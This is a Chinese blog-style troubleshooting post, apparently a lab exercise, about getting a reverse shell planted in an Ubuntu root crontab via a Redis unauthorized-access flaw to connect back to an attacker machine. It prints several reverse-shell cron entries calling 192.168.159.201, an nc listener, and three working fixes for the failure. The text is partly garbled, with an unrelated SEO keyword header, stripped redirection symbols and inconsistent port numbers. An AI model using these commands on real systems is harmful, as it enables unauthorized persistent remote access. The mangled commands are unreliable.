湖州外贸网站建设,网站建设的方案实施包括,WordPress最顶部的,app开发语言事情源于自#xff0c;我利用redis未授权访问漏洞在向ubuntu的/varspool/cron/crontabs目录下创建的任务计划文件去反弹shell时#xff0c;发现shell并不能反弹到自己的centos2上
#xff08;1#xff09;在ubuntu中进入/var/spool/cron/crontabs/目录
cd /var/spool/cro…事情源于自我利用redis未授权访问漏洞在向ubuntu的/varspool/cron/crontabs目录下创建的任务计划文件去反弹shell时发现shell并不能反弹到自己的centos2上
1在ubuntu中进入/var/spool/cron/crontabs/目录
cd /var/spool/cron/crontabs/
2新建一个名为root的任务计划文件
touch root
注root文件的权限必须是600否则会出现错误影响后面的实验
3编辑内容
* * * * * /bin/bash -i /dev/tcp/192.168.159.201/123456 01
4在centos2上监听着 12345端口 nc -lvvp 12345 这时按道理来说我们监听了后就应该回弹的这里等待了一会后并没有回弹
5现在查看日志
tail -l /var/log/syslog
Sep 26 09:18:01 ubuntu-virtual-machine cron[568]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root)
通过日志我们可以发现权限644有问题
6现在尝试给root文件授权为600 chmod 600 root
这时还是并没有回弹
7现在就还尝试将root文件删除后直接在创建时授权为600
rootutuntu000:/var/spool/cron/crontabs# rm -rf root
rootutuntu000:/var/spool/cron/crontabs# touch root
rootutuntu000:/var/spool/cron/crontabs# chmod 600 root
然后给root中再次编辑内容
8然后再次尝试回弹
这时还是并没有回弹
9这是再次去查看报错日志
tail -l /var/log/syslog 这一条我们之所以反弹失败和这句话有很大的关系百度一番后大概的意思就是我们任务计划中的命令执行如果出现了错误ubunti会将这些错误信息去输出到ubutu系统的邮件服务器但是由于ubuntu系统默认没有安装邮件服务器所以导致了这个错误
10修改任务计划文件为
* * * * * /bin/bash -i /dev/tcp/192.168.159.201/12345 01 /tmp/error.txt 21
//将错误输出到指定文件夹
11现在去查看 /tmp/error.txt文件查看报错信息
tail /tmp/error.txt 这里的错误表示执行它的/bin/bash没有被找到因为这个文件是使用/bin/sh执行的
可以使用ls -al查看/bin/sh发现/bin/sh 是dash的一个软连接
12解决方案
方法1修改软连接的指向为/bin/bash ln -s -f bash /bin/sh
并且将root文件修改为
* * * * * /bin/bash -i /dev/tcp/192.168.159.201/12345 01
注为什么centos就没有这个问题因为centos默认的处理方式就是/bin/bash
现在再次尝试反弹 就可以看到成功的反弹了
方法2就是避免在cron文件里面去使用bash这个shell我们可以另外的去建立一个反弹shell脚本文件然后去任务计划里面直接调用这个脚本文件
shell脚本文件如下名为tmp/test.sh
#!bin/bash
/bin/bash -i /dev/tcp/192.168.159.201/12345 01
然后为test.sh加上执行权限
chmod x /tmp/test.sh
之后任务计划里面的内容修改为
* * * * * /tmp/test.sh
最后尝试反弹 可以看到成功的反弹了shell
方法3直接使用sh
修改文件为
*/1 * * * * bash -c /bin/bash -i /dev/tcp/192.168.159.201/123456 01
不用修改链接指向直接在sh下执行bash -c 可以看到已经成功的弹窗了